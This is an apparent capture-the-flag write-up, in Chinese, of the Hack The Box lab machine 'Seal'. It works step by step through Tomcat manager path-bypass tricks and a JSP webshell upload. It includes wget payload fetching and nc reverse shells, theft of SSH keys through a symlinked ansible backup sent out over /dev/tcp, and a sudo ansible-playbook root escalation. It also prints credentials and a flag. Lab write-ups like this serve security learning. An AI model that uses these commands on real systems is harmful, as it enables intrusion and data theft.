URL: https://app.hackthebox.eu/machines/Seal

IP : 10.10.10.250

Recon

  • 凡事都先從 掃 Port 開始rustscan -a 10.10.10.250 -r 1-65535找到 22 443 8080nmap -A -p22,443,8080 10.10.10.250-
  • 443 : nginx 1.18觀察 443 的 HTTPS 憑證-
  • 網址應該是 seal.htb
  • 加到 /etc/hosts``10.10.10.250 seal.htb觀察首頁- 443 port8080 port-
  • 看起來是一個 Bit Bucket掃目錄- python3 dirsearch.py -u https://seal.htb/
  • 發現有一些頁面 302 按進去又 404
  • 而且首頁 nmap 明明就說是 nginx 這邊下面錯誤訊息卻跳 Tomcatapache tomcat 9.0.31 ??- nginx 1.18.0觀察 Bitbucket- 發現可以註冊帳號
  • meow / meow
  • 成功登入-

Hack Tomcat

  • 可以發現原始碼與 Config 檔案都放在這邊
  • 在 commit log 中可以找到 tomcat 帳密
  • tomcat
  • 42MrHBf*z8{Z%嘗試進入 Tomcat 後台,卻發現 403- https://seal.htb/admin/dashboard
  • 但發現 Tomcat 的 Status 可以用- https://seal.htb/manager/status/all
  • 繼續翻 nginx 的 config- 發現他針對 nginx 有設定一個 ssl_client_verify這邊可以用 Orange 曾經介紹過的手法- 第 48 頁也就是網址透過 ..; 截斷- https://seal.htb/manager/status/..;/html
  • 就成功進入湯姆貓後台ㄌ!!Tomcat 的後臺如果可以進入的話,代表可以上傳 jsp 的 webshell- 這邊我採用這個https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jspwget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp``jar -cvf cmd.war cmd.jsp然後在這邊上傳- 上傳時仍然要注意 Bypass Path 的問題- Post 的路徑要是 POST /manager/status/..;/html/upload
  • 這邊我用 Burp 來處理
  • Web Shell 上傳成功-
  • https://seal.htb/cmd/cmd.jsp
  • 也可以亂輸入指令ㄌ接下來準備 Reverse shell- wget 10.10.16.5:8000/s_HTB -O /tmp/s
  • 確定真的有載到準備 nc -vlk 7877 來接bash /tmp/s- 成功收到!!

提權

  • 發現 user flag 沒有權限發現 /var/www/keys 裡面有一些 key- 不管,先打包回家慢慢看
  • tar cvf /tmp/keys.tar .
  • 用 nc 把檔案送回家
  • 發現自簽憑證在裡面!-
  • /var/www/keys/selfsigned-ca.crt;那理論上我們可以用我們的瀏覽器綁自簽憑證ㄇ- 依照這邊的方法https://www.jscape.com/blog/firefox-client-certificateQAQ 看起來是不行嘗試 Linpeas-
  • 找到一個很新的備份檔案- /opt/backups/archives/backup-2021-08-14-09:44:35.gz
  • 觀察備份檔路徑,發現會備份- /var/lib/tomcat9/webapps/ROOT/admin/dashboard
  • 是使用 ansiple-playbook 進行備份的可以用 ps 觀察到
  • 他是用 luis 的權限執行的這邊可以先注意一下 copy link = yes- 等一下會運用到觀察 ansible-playbook- /usr/bin/ansible-playbook
  • /usr/bin``ls -al | grep ansible-playbook
  • ls -al | grep ansible
  • 發現他會 link 到一個Python 檔案裡面滿複雜的,應該不會要去 Exploit 他ㄅQQ- 而且相關目錄我們也都沒有權限開始通靈- 發現使用者的家目錄有一個 .ssh
  • 猜他裡面可能有 id_rsa 可以偷
  • 而 ansible-playbook 又可以備份 Link
  • 所以我們可以把檔案 soft link 到備份的地方發現備份的目錄的 uploads 可寫-
  • ln -s /home/luis/.ssh/id_rsa id_rsa等待 30 秒產出新的備份檔案-
  • 用 nc 帶回家nc -l -p 1234 > backup.gz
  • cat backup-2021-08-14-10:21:33.gz > /dev/tcp/10.10.16.5/1234發現真的有 id_rsa-
  • 是 OpenSSH 的 private key

使用者提權

  • 使用 SSH 登入ssh luis@seal.htb -i id_rsa
  • 取得 User Flag- sudo -l 提權起手式-
  • 發現可以使用 ansible-playbookGTFOBins 搜尋- 找到了 ansible-playbook 提權方法https://gtfobins.github.io/gtfobins/ansible-playbook/#sudoTF=$(mktemp)``echo '[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2>/dev/tty]}]' >$TF``sudo ansible-playbook $TF取得 Root Flag-
  • b4890611a188410400d56e578f30979e

心得

對於湯姆貓還是有一點陌生QQ,包含傳 jsp webshell 等部分,還有目錄截斷之類的也要多研究一下,這一題我覺得除了通靈 id_rsa 之外,整體來講題目滿好玩的!